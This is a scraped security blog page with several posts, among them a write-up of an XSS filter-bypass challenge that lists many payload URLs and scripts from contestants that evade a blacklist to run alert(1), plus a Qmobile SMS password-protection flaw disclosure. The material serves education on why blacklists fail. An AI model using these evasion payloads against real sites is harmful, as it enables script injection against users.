HTML5 Modern Day Attack And Defence Vectors

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEifnoLPTrP0IMMyp88ss1dM-9q3f5K05-HyxRmYbAbbY5Ekhx__F2DDJLzDSQAdoR3l9YAwGodEKKTPuqOimcvxQo46HXK0yWRWbDGP3UdMrPy6FYJV2HT6cfoc6bLyn4XqST_MzbUbOO8/s1600/HTML.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEifnoLPTrP0IMMyp88ss1dM-9q3f5K05-HyxRmYbAbbY5Ekhx__F2DDJLzDSQAdoR3l9YAwGodEKKTPuqOimcvxQo46HXK0yWRWbDGP3UdMrPy6FYJV2HT6cfoc6bLyn4XqST_MzbUbOO8/s1600/HTML.png" width="448" /></a></div>Lately, A lot of people have been asking me the reason of my absence and not being active on RHA. The answer is that there are countless factors to which I have lost count myself. Had it been one, I might have remembered it. First of all i was very busy with my studies and also I had been working on my final year project because its right around the corner. All this work had been consuming a lot if my time and then came the task of promoting my upcoming book "<b><a href="http://amazon.com/Ethical-Hacking-Penetration-Testing-Guide/dp/1482231611" rel="nofollow" target="_blank">Ethical Hacking and Penetration Testing Guide</a></b>" which took about 10 months of time period to write. Along with it, i have been exploring new horizons with Web Application Firewalls and working on a tool to automatically bypass blacklist based WAF.<br /><a name="more"></a><br />From a research point of view, I spent last four months researching on attack vectors with HTML5 and documented them in an easy to understand manner as a part of my semester project. However, i made several modifications later on to match the standards so that I could publish it on my blog.<br /><br />IT has been more than six years since the advent of HTML5 (dated back 2008), and as the time has passed by we have seen more and more websites utilizing HTML5 features and have witnessed that technologies like flash and silverlight are dying slowly.<br /><br />However, each of the HTML5 features could bring security issues if not used correctly, one of the major security issues with HTML5 is DOM Based XSS due to the heavy use of javascript in HTML5 based applications which would obviously be the prime highlight of this paper.<br /><br /> Being a firm believer of free education, here I present to you "<b>HTML5 Modern Day Attack And Defence Vectors</b>" free of cost and free of ads. Last but not least, I would like to sincerely thank "<b>lavakumar kuppan</b>" for his tremendous help and without him the quality of the paper would have been compromised. I hope you find it helpful.<br /><br />You can download the paper by clicking the "<a href="https://www.mediafire.com/?8ok5iqs8zz5tx8a" target="_blank">DOWNLOAD</a>" button below:<br /><br /><br /><div class="separator" style="clear: both; text-align: center;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUT9yOZytMK3BOGrWPawfZkfer8OF-xDcyd7YjWtkMTfCBtLXq5tYCg8UwCP6xelRLOidRpA1vlz-8Ev-M2GNiREj4xTv_0NjCuD43rcxxTbQ8CaHX5p10GL7Lw2ZMLZEXqXJN-u-j0R8/s320/Download-button.jpg" /></div><br /><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;"><b><u>What's next? </u></b></div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;">I also spent some time in researching previously unknown vulnerabilities with Mobile browsers and applications. As soon as they are fixed, I would be disclosing couple of ZERO day vulnerabilities in various apps, browsers etc which i found during my encounter with <u>Qmobile Noir A20</u> which uses a customized version of Android OS. So Stay Tuned.  </div><div class="separator" style="clear: both; text-align: left;"><br /></div><div class="separator" style="clear: both; text-align: left;"><b><u>Timeline</u></b></div><div class="separator" style="clear: both; text-align: left;"><b><br /></b></div><div class="separator" style="clear: both; text-align: left;"><b>6/29/2014 </b>- Fixed spelling mistakes and references.  </div><div class="separator" style="clear: both; text-align: left;"><b>7/7/2014</b> - Fixed more spelling and code formatting mistakes</div></div>

HTML5 Modern Day Attack And Defence Vectors

Lately, A lot of people have been asking me the reason of my absence and not being active on RHA. The answer is that there are countless fac...

+ Read more »

Rhainfosec XSS Challenge 2 - Writeup

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIlGv0rVQ-2MNT7K6PVuih-WhP2Ej9cZpTzhBJcTTimxrdRV80dN8OQjDDPAfSwOyJ0K1mvwofO0eJCIOY3Egi7eSYcSapCci0Oq6RhBVl48K1PdVHEbV7n9Z1cmpJyCxTbuiBuyiqfDM/s1600/kanye-answers1.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" height="278" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIlGv0rVQ-2MNT7K6PVuih-WhP2Ej9cZpTzhBJcTTimxrdRV80dN8OQjDDPAfSwOyJ0K1mvwofO0eJCIOY3Egi7eSYcSapCci0Oq6RhBVl48K1PdVHEbV7n9Z1cmpJyCxTbuiBuyiqfDM/s400/kanye-answers1.jpeg" width="400" /></a></div><span style="font-weight: normal;">Last week, we announced our second XSS challenge after the tremendous success of our first XSS challenge. The challenge was based upon a blacklist based protection and the goal was to execute javascript alert(1). We had a huge number of participants for the challenge and in total we had more than 15k attempts for breaking the XSS filter. Out of which only 15 were worthy enough to break it.</span><br /><div><a name="more"></a><span style="font-weight: normal;"><br /></span></div><div><h4>Challenge Setup</h4></div><div><b><br /></b></div><div>The following were some of the specifications for the challenge: </div><div><br /></div><div><ul><li>We blacklisted alert, prompt, confirm, document.write functions which are most commonly used to execute javascript. </li><li>We blacklisted open & closed parenthesis, which is what most of the XSS vectors require. </li><li>We blacklisted source keyword to avoid an easy bypass. </li><li>We also blacklisted common DOM elements to reference the window such as this, top, window, self, parent (Later whitelisted) etc. </li><li>As per the rules, we specified that we would update the blacklist as soon as the challengers manage to find other ways to reference window and also for challengers to find new ways to reference window global variable. </li><li>PHP htmlspecialchars() function was used, so it was impossible to escape out of attribute as double quote was encoded. </li><li>The winners would be decided based upon the amount of unique vectors. </li></ul><div><h4>Hints</h4></div></div><div><b><br /></b></div><div>We gave two interesting hints for the challenge: </div><div><br /></div><div><ul style="text-align: left;"><li>"Use your parent to get to the top". We were referring to "Parent" or "ParentNode" which could be used as an alternative for window object. </li><li>"parentNode" - Upon realizing that people are still not able to solve the challenge, we released another important hint, where we actually revealed the name of the object.  </li></ul></div><h4 class="tr_bq" style="text-align: left;"><b>Solution</b></h4><div>At first, We received some ridiculously long solutions, however it was matter of time, when the participants were able to shorten it up and came up with our expected solution. With that being said, Let's now take a look at our expected solution: </div><blockquote class="tr_bq">https://challenges.prakharprasad.com/xss/2/xss.php?xss=x onerror=parentNode['inne'%2B'rHTML']=URL#<img src=x onerror=alert(1)></blockquote>The solution was pretty simple, We simply used parentNode to reference the innerHTML property, if you notice that we have used %2B which is equivalent to + sign, we had to use it's encoded version since '+' sign was encoded, since  and set it equal to the URL. Which is equivalent to document.url.<br /><br />Next, all we had to do is to enter our vector after the hash sign and since, anything after the hash would not be sent to the server, we would be able to inject the vector of our choice. However, this solution would not work in firefox, since firefox encodes opening and closing brackets (<b><, ></b>) passed after hash when source is set to <a href="https://code.google.com/p/domxsswiki/wiki/LocationSources" rel="nofollow" target="_blank">document.url</a>.<br /><br /><div><h4>Winners </h4></div><div><b><br /></b></div><div><b><u>Mastao kinugawa </u></b>and <b><u>Pepe vila </u></b>came up with equal number of unique solution therefore they both are the conqueror of this challenge and are crowned as winners. Both of them kept coming with exceptional bypasses, till the point where further blacklisting was not possible without actually breaking the challenge. </div><div><br /></div><div>I would like to congratulate both of them and would like to thank them and all of other participants for taking out their precious time and participating in this challenge. </div><div><br /></div><div><b>Challenge Link</b></div><div><br /></div><div>We have already setup the challenge on hack.me for you to be able to validate it. Special thanks to Giuseppe Trotta for hosting the challenge at hack.me.</div><div><br /></div><div><a href="https://hack.me/101705/rhainfosec-xss-challenge-2.html%C2%A0" rel="nofollow" target="_blank">https://hack.me/101705/rhainfosec-xss-challenge-2.html </a></div><div><br /></div><div><h4>Solutions From Community</h4></div><div><br /></div><div>Let's now take a look at the solutions from community, the list is in descending order with an exception to Masato and Pepe vila as they have equal number of solutions. </div><h4 class="tr_bq" style="text-align: left;"><b>1. Masato Kinugawa</b></h4><div style="text-align: left;"><b>Solution#1</b></div><blockquote class="tr_bq" style="text-align: left;">https://challenges.prakharprasad.com/xss/2/xss.php?xss='x'onerror=head['innerHTM'%2B'L']=URL#<img src=x onerror=alert(1)></blockquote><br /><b>Solution#2</b><br /><blockquote class="tr_bq">https://challenges.prakharprasad.com/xss/2/xss.php?xss=%27%27onerror=all[0][%27innerH%27%2B%27TML%27]=URL#<img src=x onerror=alert(1)></blockquote><br /><b>Solution#3</b><br /><blockquote class="tr_bq">https://challenges.prakharprasad.com/xss/2/xss.php?xss=%27%27onerror=parentNode[%27innerH%27%2B%27TML%27]=URL#<img src=x onerror=alert(1)></blockquote><br /><b>Solution#4</b><br /><blockquote class="tr_bq">https://challenges.prakharprasad.com/xss/2/xss.php?xss=%27%27onerror=activeElement[%27innerH%27%2B%27TML%27]=URL#<img src=x onerror=alert(1)></blockquote><br /><b>Solution#5</b><br /><blockquote class="tr_bq">https://challenges.prakharprasad.com/xss/2/xss.php?xss=%27%27onerror=defaultView['documen'%2B't']['bod'%2B'y']['innerHTM'%2B'L']=URL#<img src=x onerror=alert(1)></blockquote><br /><b>Solution#6</b><br /><b>(IE only):</b><br /><br /><blockquote class="tr_bq">https://challenges.prakharprasad.com/xss/2/xss.php?xss=%27%27onerror=Script['documen'%2B't']['bod'%2B'y']['innerHTM'%2B'L']=URL#<img src=x onerror=alert(1)></blockquote><br /><b>Solution#7</b><br /><b>Safari only:</b><br /><blockquote class="tr_bq">( Please click the go button. FYI, document.domain='com' vector no longer works on Chrome.)<br />https://googledrive.com/host/0B9oV5VZLcjwOUl9LVm5Ydm84LWs/poc.html</blockquote><br /><b>Solution#8</b><br /><b>Firefox only</b>:<br /><br /><blockquote class="tr_bq">https://challenges.prakharprasad.com/xss/2/xss.php?xss='x'onerror=content['documen'%2B't']['bod'%2B'y']['innerHTM'%2B'L']=content['documen'%2B't']['locatio'%2B'n']['has'%2B'h']#<img src=x onerror=alert(1)></blockquote><br /><b>Solution#9</b><br /><blockquote class="tr_bq"><script><br />function go(){<br />window.name="javascript:alert(1)"<br />window.open("https://challenges.prakharprasad.com/xss/2/xss.php<br />xss='x'onerror=opener.onerror=setTimeout%3Bopener.x.src=1","x");<br />location.href="https://challenges.prakharprasad.com/xss/2/xss.php<br />xss='x'id='x'onerror=throw'=1;locatio'%2B'n=nam'%2B'e'";<br />}<br /></script><br /><button onclick=go()>go</button></blockquote><br /><b>Solution#10</b><br /><b>It works on both Firefox and IE:</b><br /><br /><blockquote class="tr_bq">https://challenges.prakharprasad.com/xss/2/xss.php?xss='x'id='a'onerror=a['ownerD'%2B'ocument']['bod'%2B'y']['innerHTM'%2B'L']=a['ownerD'%2B'ocument']['locatio'%2B'n']['has'%2B'h']#<img src=x onerror=alert(1)></blockquote><h4 style="text-align: left;"><b>2. PEPE VILA</b></h4><b>Solution#1</b><br /><blockquote class="tr_bq"> https://challenges.prakharprasad.com/xss/2/xss.php?xss=x%0aonerror=d=attributes.src;d.ownerElement['innerHTM'%2b'L']=d['ownerDocumen'%2b't']['defaultVie'%2b'w']['locatio'%2b'n']['has'%2b'h']#<svg/onload=alert(1)></blockquote><br /><b>Solution#2</b><br /><blockquote class="tr_bq">https://challenges.prakharprasad.com/xss/2/xss.php?xss=x+onerror=previousSibling['ownerDocumen'%2b't']['bod'%2b'y'][%27innerHTM%27%2b%27L%27]=URL#<svg/onload=alert(1)></blockquote><br /><b>Solution#3</b><br /><blockquote class="tr_bq">https://challenges.prakharprasad.com/xss/2/xss.php?xss=x+onerror=event.target[%27innerHTM%27%2b%27L%27]=URL#<svg/onload=alert(1)></blockquote><br /><b>Solution#4</b><br /><blockquote class="tr_bq">https://challenges.prakharprasad.com/xss/2/xss.php?xss=x+onerror=arguments[0].target[%27innerHTM%27%2b%27L%27]=URL#<svg/onload=alert(1)><br />or if you blacklist "target" it's stil possible to use "srcElement" or<br />"path[0]".</blockquote><br /><b>Solution#5</b><br /><blockquote class="tr_bq">https://challenges.prakharprasad.com/xss/2/xss.php?xss=x+onerror=event.srcElement[%27innerHTM%27%2b%27L%27]=URL#<svg/onload=alert(1)></blockquote><br /><b>Solution#6</b><br /><blockquote class="tr_bq">https://challenges.prakharprasad.com/xss/2/xss.php?xss=x+onerror=event.path[0][%27innerHTM%27%2b%27L%27]=URL#<svg/onload=alert(1)></blockquote><br /><b>Solution#7</b><br /><blockquote class="tr_bq">https://challenges.prakharprasad.com/xss/2/xss.php?xss=x+onerror=onerror[%27argumen%27%2b%27ts%27][0].target[%27innerHTM%27%2b%27L%27]=URL#<svg/onload=alert(1)></blockquote><br /><b>Solution#8</b><br /><blockquote class="tr_bq">https://challenges.prakharprasad.com/xss/2/xss.php?xss=x+onerror=%27_=new+Option;_[%22innerHTM%22%2b%22L%22]=URL%27#<img/src=x<br />onerror=alert(1)></blockquote><br /><b>Solution#9</b><br /><blockquote class="tr_bq">https://challenges.prakharprasad.com/xss/2/xss.php?xss=x+onload=%27a["innerHTM"%2b"L"]=URL%27onerror=a={};a[src="logo.png"]=a=activeElement#<img/src=x onerror=alert(1)></blockquote><br /><b>Solution#10</b><br /><blockquote class="tr_bq">https://challenges.prakharprasad.com/xss/2/xss.php?xss=x+onerror=%27_=new+Text;_[%22ownerDocumen%22%2b%22t%22][%22bod%22%2b%22y%22][%22innerHTM%22%2b%22L%22]=URL%27#<img/src=x<br />onerror=alert(1)></blockquote><h4><b>3. Mathias</b></h4><div style="font-weight: normal;"><b>Solution#1</b></div><blockquote class="tr_bq" style="font-weight: normal;">https://challenges.prakharprasad.com/xss/2/xss.php?xss=a+onerror=%27parentNode.parentNode.parentNode.parentNode[%22<br />locatio%22%2b%22n%22]=%22javascrip%22%2b%22t:/*%22%2b<br />parentNode.parentNode.parentNode.parentNode[%22locatio%22%2b%22n%22][%22has%22%2b%22h%22]%27#*/alert(1)</blockquote><div style="font-weight: normal;"><br /><b>Solution#2</b><br /><blockquote class="tr_bq"><body onload="location='https://challenges.prakharprasad.com/xss/2/xss.php?*/alert(1)';">Click me</body></blockquote><br /><b>Solution#3</b><br /><blockquote class="tr_bq">var x = window.open('https://challenges.prakharprasad.com/xss/2/xss.php?xss=x%20onerror=%27opener["loc"%2b"ation"]="javascri"%2b"pt:/*"%2<br />bopener["loc"%2b"ation"]%27%20"');</blockquote></div><div style="font-weight: normal;"><br /><b>Solution#4</b><br /><blockquote class="tr_bq">https://challenges.prakharprasad.com/xss/2/xss.php?xss=x%20height=20000%20width=200000%20onmouseover=%27event.fromElement<br />["innerHTM"%2b"L"]=event.view["locatio"%2b"n"]["has"%2b"h"]'#<img src=x onerror=alert(1)></blockquote></div><div style="font-weight: normal;"><br /><b>Solution#5</b><br /><blockquote class="tr_bq">window.name="location='javascript:alert(1)'"<br />location="https://challenges.prakharprasad.com/xss/2/xss.php?xss=x+onerror='vbs:setTimeout %22setTimeout windo%22%26%22w.nam%22%26%22e%22'"</blockquote><br /><b>Solution#6</b><br /><blockquote class="tr_bq">window.open("https://challenges.prakharprasad.com/xss/2/xss.php?xss=%27123%27%20onerror=l=%27locatin%27;l=l[0]%2Bl[1]%2Bl[2]%2Bl<br />[3]%2Bl[4]%2Bl[5]%2Bl[1]%2Bl[6];opener[l]=%27javascrip%27%2B%27t:aler%27%2B%27t%27%<br />2Bnavigator.userAgent[12]%2B1%2Bnavigator.userAgent[27];", "_self");</blockquote></div><h4><b>4. </b>Masahiro YAMADA</h4><div><b>Update: Masahiro YAMADA has done a detailed writeup of his solutions <a href="http://t.co/tmeBp8U7Q9" rel="nofollow" target="_blank">here</a>.  </b><br /><br /><div style="font-weight: normal;"><b>Solution#1</b></div></div><blockquote class="tr_bq" style="font-weight: normal;"><script><br />if (location.search.length=="") {<br />location.href = location.href + "?x=<"+"img src=. onerror=alert(1)>";<br />}<br /></script></blockquote><div style="font-weight: normal;"><br /></div><div style="font-weight: normal;"><b>Solution#2</b></div><blockquote class="tr_bq" style="font-weight: normal;"><a href='https://challenges.prakharprasad.com/xss/2/xss.php?xss=.+onerror=&#x27;event.target["par"%2B"entE"%2B"lement"]["innerHTM"%2B"L]=event.target["par"%2B"entE"%2B"lement"]["par"%2B"entE"%2B"lement"]["ownerD"%2B"ocument"].referrer&#x27;' target="_blank">go</a></blockquote><div style="font-weight: normal;"><br /></div><div style="font-weight: normal;"><b>Solution#3</b></div><blockquote class="tr_bq" style="font-weight: normal;"><script><br />function goXss() {<br />var w = window.open();<br />w.name="<"+"img src=. onerror=alert(1)>";<br />w.location.href=('https://challenges.prakharprasad.com/xss/2/xss.php?xss=.+onclick=\'event.target["par"%2B"entE"%2B"lement"]["innerHTM"%2B"L"]=arguments[0].view["na"%2B"me"]\'');<br />}<br /></script></blockquote><div style="font-weight: normal;"><br /></div><div style="font-weight: normal;"><b>Solution#4</b></div><blockquote class="tr_bq" style="font-weight: normal;">https://challenges.prakharprasad.com/xss/2/xss.php?xss=.+onerror='e=event.target["par"%2B"entE"%2B"lement"];o=e<br />["innerHTM"%2B"L"];lt=o[11];gt=o[o.length-1];e["innerHTM"%2B"L"]=lt%2B"img src=. onerror=al"%2B"ert%26%23x28;1%26%23x29;"%2Bgt'</blockquote><h4><b>5. Luat Nguyen</b></h4><div style="font-weight: normal;"><b>Solution #1:</b></div><blockquote class="tr_bq" style="font-weight: normal;">https://challenges.prakharprasad.com/xss/2/xss.php<br />?xss='1' id=xxx onerror=parent.xxx['outerHTM'%2b'L']=parent['locatio'%2b'n']['has'%2b'h'] #<svg onload=alert(1)></blockquote><div style="font-weight: normal;"><br /></div><div style="font-weight: normal;"><b>Solution #2:</b></div><blockquote class="tr_bq" style="font-weight: normal;">https://challenges.prakharprasad.com/xss/2/xss.php<br />?xss='1' id=xxx abc='aler%26%23x74%26%23x28%201%26%23x29' onload=1 onerror=xxx['innerHTM'%2b'L']=xxx['attribut'%2b'es']['abc']['valu'%2b'e'];xxx['attribut'%2b'es']['onload']['valu'%2b'e']=xxx['innerHTM'%2b'L'];xxx.src='logo'<br />(is not using location.hash)</blockquote><h4 style="text-align: left;"><b>6. file descriptor</b></h4><b>Solution#1</b><br /><blockquote class="tr_bq">https://challenges.prakharprasad.com/xss/2/xss.php?xss=%27%27onerror=body[%27innerHTM%27%2b%27L%27]=URL#<svg/onload=alert(1)></blockquote><br /><b>Solution#2</b><br /><blockquote class="tr_bq">https://challenges.prakharprasad.com/xss/2/xss.php?xss=x%20onerror=images[0][%27innerHTM%27%2b%27L%27]=URL#<svg/onload=alert(1)></blockquote><div><h4 style="text-align: left;"><b>7. Roman Shafigullin</b></h4><b>Solution#1</b><br /><b>for Chrome</b><br /><br /><blockquote class="tr_bq">https://challenges.prakharprasad.com/xss/2/xss.php?xss=%27x%27%20onerror=v=[onerror%2B%27%27][0];attributes[1].value=%27aler%27%2B%27t%27%2Bv[16]%2B1%2Bv[22];src=2</blockquote><br /><b>Solution#2</b><br /><b>for firefox</b><br /><br /><blockquote class="tr_bq">https://challenges.prakharprasad.com/xss/2/xss.php?xss='x' onerror=v=[onerror%2B''][0];attributes[0].value='aler'%2B't'%2Bv[16]%2B1%2Bv[38];src=2</blockquote><h4 style="text-align: left;"><b>8. Ahmed Nafeez</b></h4><b>Solution#1</b><br /><blockquote class="tr_bq">window.open("https://challenges.prakharprasad.com/xss/2/xss.php?xss=%27123%27%20onerror=l=%27locatin%27;l=<br />l[0]%2Bl[1]%2Bl[2]%2Bl[3]%2Bl[4]%2Bl[5]%2Bl[1]%2Bl[6];<br />opener[l]=%27javascrip%27%2B%27t:aler%27%2B%27t%27%2<br />Bnavigator.userAgent[12]%2B1%2Bnavigator.userAgent[36];", "_self");</blockquote><div><br /><b>Solution#2</b><br /><blockquote class="tr_bq">window.open("https://challenges.prakharprasad.com/xss/2/xss.php?lol=()&xss=%27123%27%20onerror=l<br />=%27locatin%27;l=l[0]%2Bl[1]%2Bl[2]%2Bl[3]%2Bl[4]%2Bl[5]%2Bl[1]%2Bl[6];opener[l]=%27javascri<br />p%27%2B%27t:aler%27%2B%27t%27%2Bopener[l].search[6]%2B1%2Bopener[l].search[6]", "_self");</blockquote></div><div><h4 style="text-align: left;"><b>9. Frans Rosen</b></h4><b>Solution#1</b><br /><blockquote class="tr_bq">https://challenges.prakharprasad.com/xss/2/xss.php?xss=x%20onerror=parentNode[%27innerHT%27%2b%27ML%27]=URL#<img src=x onerror=alert(1)></blockquote><h4 style="text-align: left;"><b>10. Denis Kolegov</b></h4><b>Solution#1</b><br /><blockquote class="tr_bq"><script><br />window.open("https://challenges.prakharprasad.com/xss/2/xss.php?xss=1%20onerror=c='locatio'%2b'n';parent[c]=parent['n'%2b'ame']", "javascript:alert(1)");<br /></script></blockquote><h4 style="text-align: left;"><b>11. topol</b></h4><b>Solution#1</b><br /><blockquote class="tr_bq">https://challenges.prakharprasad.com/xss/2/xss.php?xss=a onerror=parentNode['innerH'%2b'TML']=parent['loca'%2b'tion']['ha'%2b'sh']#<img src=a onerror=alert(1)></blockquote><h4 style="text-align: left;"><b>12. romain <romain.gaucher@gmail.com></b></h4><b>Solution#1</b><br /><blockquote class="tr_bq">https://challenges.prakharprasad.com/xss/2/xss.php?xss=XsX%20onerror=parent[%27documen%27%2b%27t%27][%27bod%27%2b%27y%27][%27innerHTM%27%2b%27L%27]=%27%27%2bparent[%27locatio%27%2b%27n%27][%27has%27%2b%27h%27]#<img src=. onerror=alert(1) ></blockquote><h4 style="text-align: left;"><b>13. Giuseppe Trotta</b></h4><b>Solution#1</b><br /><blockquote class="tr_bq">https://challenges.prakharprasad.com/xss/2/xss.php?xss=x%20onerror=_=parentNode.parentNode.parentNode.<br />parentNode;__=_[%27loca%27%2b%27tion%27];p=__[%27ha%27%2b%27sh%27][2];pp=__[%27ha%27%2b%27sh%27][3];__[%27href%27]=%22javas%22%2b%22cript:a%22%2b%<br />22lert%22%2bp%2b%221%22%2bpp#:()</blockquote></div><div><h4 style="text-align: left;"><b>14. Alan Bishop <agb@graybishop.com></b></h4><br /><b>Solution#1</b><br /><blockquote class="tr_bq"><a href="https://challenges.prakharprasad.com/xss/2/xss.php?xss=x%20onerror=%27parentElement%5b%22inner%22%2b%22<br />HT%22%2b%22ML%22%5d=parentElement%5b%22owner<br />Docu%22%2b%22ment%22%5d%5b%22loca%22%2b%22tion%22%5d%5b%22ha%22%2b%22sh%<br />22%5d%27#<img src=x onerror='alert(1)'>">click me</a></blockquote></div>POC link - http://www.graybishop.com/xsschallenge.html<br /><div><h4 style="text-align: left;"><b>15. Mramydnei" mramydnei"</b></h4><b>Solution#1</b><br /><blockquote>Vector: http://133.52.240.75/test.htm?<svg onload=alert(1)><br />a onerror=parentNode['outerH'+'TML']=referrer<br />challenges.prakharprasad.com</blockquote><h4>Conclusion </h4>The challenge was based upon a very strict blacklist rules, however the bypasses prove yet again that "Blacklists" have never been and never would be the solution for mitigating cross site scripting attacks. In case, if I have missed any of your submission, Please let me know, I would update it accordingly.<br /><br />Last but not least, I would like to Sincerely thank "<b>Prakhar Prasad</b>" for hosting the challenge, "<b>Alex Infuhr</b>" with ideas to make the challenge more interesting and "<b>Giuseppe Trotta</b>" for hosting the challenge on hack.me.<br /><br />I would love to hear your feedback! Pass your comments. Cheers. </div></div></div>

Rhainfosec XSS Challenge 2 - Writeup

Last week, we announced our second XSS challenge after the tremendous success of our first XSS challenge. The challenge was based upon a bla...

+ Read more »

A Simple Design Flaw In Qmobile's Messaging System

<div dir="ltr" style="text-align: left;" trbidi="on"><b><br /></b><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4VecE5kDV_PO5xNAYA2-2Y9xLwcUxDzTbnggrM5jqQpVNi4An-XIyZUPOYC74hOAi13v5oQVcwpEGmQXcpY8xFm12kyzldqTm-VT9T8Gl8xKIzvjTIrGawEcJcGSlRytyAgd9qa39PWQ/s1600/1244760761dwdujG.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4VecE5kDV_PO5xNAYA2-2Y9xLwcUxDzTbnggrM5jqQpVNi4An-XIyZUPOYC74hOAi13v5oQVcwpEGmQXcpY8xFm12kyzldqTm-VT9T8Gl8xKIzvjTIrGawEcJcGSlRytyAgd9qa39PWQ/s1600/1244760761dwdujG.jpg" /></a></div><h4>Introduction</h4>This post describes a simple design flaw inside of Qmobile handsets and describes why you shouldn't rely upon built in password protection mechanisms and why encryption is the best solution rather than using password protection mechanism.<br /><a name="more"></a>The testing was carried out on <b>Qmobile Noir A20</b>. The problem lies in the fact that even after the password protection of the messages, other applications which have the READ_SMS permission, could read the SMS in clear text (defeating the purpose of password in this case) .<br /><br />Qmobile based on a customized version of Android OS for the smartphones, has its own messaging app with an additional functionality of password protecting the messages, thus preventing it from unauthorized access.<br /><h4>Google Hangout</h4>Google hangout is a very popular android app used by millions of users for sending/receiving messages and it's most likely to be present in every android phone. As discussed before, Qmobile messaging app allows users to password protect the messages. However, the problem is that this doesn't prevent Google hangout or any other app (that has read access to messages) to read the messages. The Qmobile messaging app does not encrypt the messages.<br /><h4>Demonstration</h4>The following video demonstrates the issue:<br /><br /><iframe allowfullscreen="" frameborder="0" height="400" mozallowfullscreen="" src="//player.vimeo.com/video/97926900" webkitallowfullscreen="" width="500"></iframe><br /><br /><br />Since, Mobile security has never been my area of research, i asked one of my friends "<b>Francesco Stillavato"</b> for his opinion on this issue. For those of you who don't know, Francesco is the author of the "<a href="https://www.elearnsecurity.com/course/mobile_application_security_and_penetration_testing/" rel="nofollow" target="_blank"><b>Mobile Appication And Penetration Testing Course</b></a>" at elearnsecurity.com. take a look at his opinion:<br /><br /><u>I agree with you: the application password protection isn't enough if you really want to protect your data (SMS in this case). There are many things to consider when implementing this type of security mechanism: for example, if the app stores its data in the memory card (not encrypted), almost every application would be able to read them. It's still important to note that in this case, during the installation process, Hangout requires permission to read SMS; so if you accept and install it, you are granting permission to the app. </u><br /><u><br /></u><u>While this may seem obvious, you should consider that if someone is able to physically access your device (open the play store and install an application), the application password protection may fails! So if you really want to protect your app data, you should consider to implement encryption (maybe using a master password) or store data in its own sandbox (like the SMS app) without allowing other app to ask for read permissions. </u><br /><u><br /></u>Here is what a world renowned android security expert and the CEO of Attity "<b>Aditiya Gupta</b>" has to say pertaining this issue:<br /><br /><u>QMobile should ensure that rather than giving a false sense of security to the users with a password protection of the messaging app (which could be easily bypassed), should also encrypt the messages while storing on the device if a user opts in for the password based security</u><br /><u><br /></u><br />If you have any questions or opinions, feel free to ask. </div>

A Simple Design Flaw In Qmobile's Messaging System

Introduction This post describes a simple design flaw inside of Qmobile handsets and describes why you shouldn't rely upon built in pass...

+ Read more »

RHAinfoSec XSS Challenge - 2

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLMTO5yx0-Yoq5hFHFsQjZDIoEzCknHPn8l3PqK4ssgATRRDHuhfyQzuU3cnALwKJEyvO6Tozky5mb7BLId94ZOXsDCchXACeJdFp1Z2zjCHshuB5zi-qrgkwHc1_UWREY6uKR6XHMRZk/s1600/CHALLENGE-570x357.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="392" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLMTO5yx0-Yoq5hFHFsQjZDIoEzCknHPn8l3PqK4ssgATRRDHuhfyQzuU3cnALwKJEyvO6Tozky5mb7BLId94ZOXsDCchXACeJdFp1Z2zjCHshuB5zi-qrgkwHc1_UWREY6uKR6XHMRZk/s1600/CHALLENGE-570x357.jpg" width="577" /></a></div><br /><br /><b>Update: The results are announced <a href="http://www.rafayhackingarticles.net/2014/06/rhainfosec-xss-challenge-2-writeup.html" target="_blank">here</a>.</b><br /><br />Welcome readers,<br /><div><br /></div><div>After a tremendous response with our first <a href="http://www.rafayhackingarticles.net/2014/01/rhainfosec-xss-challenge-1-writeup_23.html" target="_blank">XSS challenge</a>, we decided to make your lives a bit harder this summer by launching another XSS challenge. Like always, our challenges always challenging and based upon real world scenarios and the key to solving it mostly rely upon the ability to think outside the box.  </div><div><a name="more"></a></div><div>The challenge is based upon a a strong blacklist based protection, beware that the challenge may be very hard for you unless you don't understand the right injection context.   </div><div><ul style="text-align: left;"></ul></div><div><h4>Challenge Rules/Goals</h4></div><div><ul style="text-align: left;"><li>The challenge goal is to execute alert(1) inside the browser.</li><li>Your payload must render javascript inside modern browsers. </li><li>The XSS protection header has been set to 0, which would turn off your client side XSS filter. </li></ul><div><h4>Challenge Link</h4><div><span style="font-weight: normal;">Special thanks to Mr</span> <u>Prakhar Prasad</u><span style="font-weight: normal;">, for deploying the challenge. </span><u>Alex Infuhr</u><span style="font-weight: normal;"> for beta testing and ideas with the challenge.  </span></div><ul style="font-weight: normal;"><li><b><a href="https://challenges.prakharprasad.com/xss/2" rel="nofollow" target="_blank">https://challenges.prakharprasad.com/xss/2</a></b></li></ul></div></div><h4>Hints/Tips</h4><div><ul style="text-align: left;"><li>If all you can do is <b>"><img src=x onerror=prompt(1);></b>, then our humble apologies this challenge is not for you. </li><li>The WAF can be very hard, if you don't know how to properly reverse engineer filter rules. </li><li>You could refer to my "<b><a href="http://www.rafayhackingarticles.net/2013/12/bypassing-modern-wafs-xss-filters-cheat.html" target="_blank">XSS Filter evasion Cheat sheet</a></b>" for ideas on cracking this challenge.</li><li>Automated scanners won't help here as often time they fail at producing context based payloads. </li></ul><div><h4>Submissions</h4></div></div><div>Sumbit your vector to 